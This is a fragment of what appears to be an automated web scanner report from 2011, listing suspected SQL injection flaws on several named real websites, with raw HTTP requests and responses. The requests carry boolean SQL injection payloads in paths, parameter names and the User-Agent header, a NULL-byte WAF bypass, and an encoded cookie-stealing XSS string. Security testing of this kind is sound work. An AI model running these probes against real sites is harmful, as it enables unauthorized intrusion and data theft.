HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Tue, 25 Jan 2011 03:03:33 GMT Server: cafe Cache-Control: private, x-gzip-ok="" X-XSS-Protection: 1; mode=block Content-Length: 7952
<html><head></head><body leftMargin="0" topMargin="0" marginwidth="0" marginheight="0"><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. --> <!-- Code auto-generated on ...[SNIP]... h"];if(x && x.description){var pVF=x.description;var y=pVF.indexOf("Flash ")+6;pVM=pVF.substring(y,pVF.indexOf(".",y));}} else if (window.ActiveXObject && window.execScript){ window.execScript('on error resume next\npVM=2\ndo\npVM=pVM+1\nset swControl = CreateObject("ShockwaveFlash.ShockwaveFlash."&pVM)\nloop while Err = 0\nOn Error Resume Next\npVM=pVM-1\nSub '+DCid+'_FSCommand(ByVal command, ByVal ...[SNIP]...
Request 2
GET /pagead/ads?client=ca-pub-3737471162188127&output=html&h=600%2527%2527&slotname=3414113612&w=160&ea=0&flash=10.1.103&url=http%3A%2F%2Fwww.beirut.com%2Fcss%2Fblue%2F4429e%252527%25253balert%252528document.cookie%252529%25252f%25252f59f8c7185c5%2Fsearch-btn.gif&dt=1295922041953&shv=r20101117&jsv=r20110120&saldr=1&correlator=1295922041995&frm=1&adk=1261819541&ga_vid=478840491.1295922042&ga_sid=1295922042&ga_hid=1179528252&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3522672927&fu=0&ifi=1&dtd=287 HTTP/1.1 Host: googleads.g.doubleclick.net Proxy-Connection: keep-alive Referer: http://d1.openx.org/afr.php?n=a2bb8a70&zoneid=121960&target=_blank&cb=416587824 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response 2
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Tue, 25 Jan 2011 03:03:34 GMT Server: cafe Cache-Control: private, x-gzip-ok="" X-XSS-Protection: 1; mode=block Content-Length: 4869
The output parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the output parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /pagead/ads?client=ca-pub-3737471162188127&output=html%00'&h=600&slotname=3414113612&w=160&ea=0&flash=10.1.103&url=http%3A%2F%2Fwww.beirut.com%2Fcss%2Fblue%2F4429e%252527%25253balert%252528document.cookie%252529%25252f%25252f59f8c7185c5%2Fsearch-btn.gif&dt=1295922041953&shv=r20101117&jsv=r20110120&saldr=1&correlator=1295922041995&frm=1&adk=1261819541&ga_vid=478840491.1295922042&ga_sid=1295922042&ga_hid=1179528252&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3522672927&fu=0&ifi=1&dtd=287 HTTP/1.1 Host: googleads.g.doubleclick.net Proxy-Connection: keep-alive Referer: http://d1.openx.org/afr.php?n=a2bb8a70&zoneid=121960&target=_blank&cb=416587824 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response 1
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Tue, 25 Jan 2011 03:03:27 GMT Server: cafe Cache-Control: private, x-gzip-ok="" X-XSS-Protection: 1; mode=block Content-Length: 7952
<html><head></head><body leftMargin="0" topMargin="0" marginwidth="0" marginheight="0"><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. --> <!-- Code auto-generated on ...[SNIP]... h"];if(x && x.description){var pVF=x.description;var y=pVF.indexOf("Flash ")+6;pVM=pVF.substring(y,pVF.indexOf(".",y));}} else if (window.ActiveXObject && window.execScript){ window.execScript('on error resume next\npVM=2\ndo\npVM=pVM+1\nset swControl = CreateObject("ShockwaveFlash.ShockwaveFlash."&pVM)\nloop while Err = 0\nOn Error Resume Next\npVM=pVM-1\nSub '+DCid+'_FSCommand(ByVal command, ByVal ...[SNIP]...
Request 2
GET /pagead/ads?client=ca-pub-3737471162188127&output=html%00''&h=600&slotname=3414113612&w=160&ea=0&flash=10.1.103&url=http%3A%2F%2Fwww.beirut.com%2Fcss%2Fblue%2F4429e%252527%25253balert%252528document.cookie%252529%25252f%25252f59f8c7185c5%2Fsearch-btn.gif&dt=1295922041953&shv=r20101117&jsv=r20110120&saldr=1&correlator=1295922041995&frm=1&adk=1261819541&ga_vid=478840491.1295922042&ga_sid=1295922042&ga_hid=1179528252&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3522672927&fu=0&ifi=1&dtd=287 HTTP/1.1 Host: googleads.g.doubleclick.net Proxy-Connection: keep-alive Referer: http://d1.openx.org/afr.php?n=a2bb8a70&zoneid=121960&target=_blank&cb=416587824 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response 2
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Tue, 25 Jan 2011 03:03:28 GMT Server: cafe Cache-Control: private, x-gzip-ok="" X-XSS-Protection: 1; mode=block Content-Length: 4869
The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. The payloads 15809153'%20or%201%3d1--%20 and 15809153'%20or%201%3d2--%20 were each submitted in the User-Agent HTTP header. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET / HTTP/1.1 Host: hairmakeup.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)15809153'%20or%201%3d1--%20 Connection: close
GET / HTTP/1.1 Host: hairmakeup.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)15809153'%20or%201%3d2--%20 Connection: close
1.8. http://kontentdesign.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://kontentdesign.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads 11239645%20or%201%3d1--%20 and 11239645%20or%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /?111239645%20or%201%3d1--%20=1 HTTP/1.1 Host: kontentdesign.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access / on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /?111239645%20or%201%3d2--%20=1 HTTP/1.1 Host: kontentdesign.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:39:17 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 352408000473833862436b9fb7dcdeb1=7f8f1170d789cbd763ae5c69a60d1034; path=/ Last-Modified: Mon, 24 Jan 2011 22:39:17 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 29685
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payloads 53092844'%20or%201%3d1--%20 and 53092844'%20or%201%3d2--%20 were each submitted in the REST URL parameter 1. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /media53092844'%20or%201%3d1--%20/system/js/caption.js HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /media53092844' or 1=1-- /system/js/caption.js on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /media53092844'%20or%201%3d2--%20/system/js/caption.js HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
Response 2
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 04:01:53 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 Content-Length: 559
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /media53092844' or 1=2-- /system/js/caption.js was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payloads 35124081'%20or%201%3d1--%20 and 35124081'%20or%201%3d2--%20 were each submitted in the REST URL parameter 2. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /media/system35124081'%20or%201%3d1--%20/js/caption.js HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /media/system35124081' or 1=1-- /js/caption.js on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /media/system35124081'%20or%201%3d2--%20/js/caption.js HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
Response 2
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 04:03:50 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 Content-Length: 559
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /media/system35124081' or 1=2-- /js/caption.js was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payloads 80142346'%20or%201%3d1--%20 and 80142346'%20or%201%3d2--%20 were each submitted in the REST URL parameter 3. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /media/system/js80142346'%20or%201%3d1--%20/caption.js HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /media/system/js80142346' or 1=1-- /caption.js on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /media/system/js80142346'%20or%201%3d2--%20/caption.js HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
Response 2
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 04:05:38 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 Content-Length: 559
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /media/system/js80142346' or 1=2-- /caption.js was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
The REST URL parameter 4 appears to be vulnerable to SQL injection attacks. The payloads 16186106'%20or%201%3d1--%20 and 16186106'%20or%201%3d2--%20 were each submitted in the REST URL parameter 4. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /media/system/js/caption.js16186106'%20or%201%3d1--%20 HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /media/system/js/caption.js16186106' or 1=1-- on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /media/system/js/caption.js16186106'%20or%201%3d2--%20 HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
Response 2
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 04:07:35 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 Content-Length: 559
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /media/system/js/caption.js16186106' or 1=2-- was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
1.13. http://kontentdesign.com/media/system/js/caption.js [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://kontentdesign.com
Path:
/media/system/js/caption.js
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads 15832840%20or%201%3d1--%20 and 15832840%20or%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /media/system/js/caption.js?115832840%20or%201%3d1--%20=1 HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /media/system/js/caption.js on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /media/system/js/caption.js?115832840%20or%201%3d2--%20=1 HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
/** * @version $Id: caption.js 5263 2006-10-02 01:25:24Z webImagery $ * @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved. * @license GNU/GPL, see LICENSE.php * Joomla! is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * See COPYRIGHT.php for copyright notices and details. */
/** * JCaption javascript behavior * * Used for displaying image captions * * @package Joomla * @since 1.5 * @version 1.0 */ var JCaption = new Class({ initialize: function(selector) { this.selector = selector;
var images = $$(selector); images.each(function(image){ this.createCaption(image); }, this); },
createCaption: function(element) { var caption = document.createTextNode(element.title); var container = document.createElement("div"); var text = document.createElement("p"); var width = element.getAttribute("width"); var align = element.getAttribute("align");
if(!width) { width = element.width; }
//Windows fix if (!align) align = element.getStyle("float"); // Rest of the world fix if (!align) // IE DOM Fix align = element.style.styleFloat;
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payloads 17976969'%20or%201%3d1--%20 and 17976969'%20or%201%3d2--%20 were each submitted in the REST URL parameter 1. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /modules17976969'%20or%201%3d1--%20/mod_fpss/includes/engines/jquery-fpss-comp.js HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /modules17976969' or 1=1-- /mod_fpss/includes/engines/jquery-fpss-comp.js on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /modules17976969'%20or%201%3d2--%20/mod_fpss/includes/engines/jquery-fpss-comp.js HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
Response 2
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 04:02:24 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 Content-Length: 586
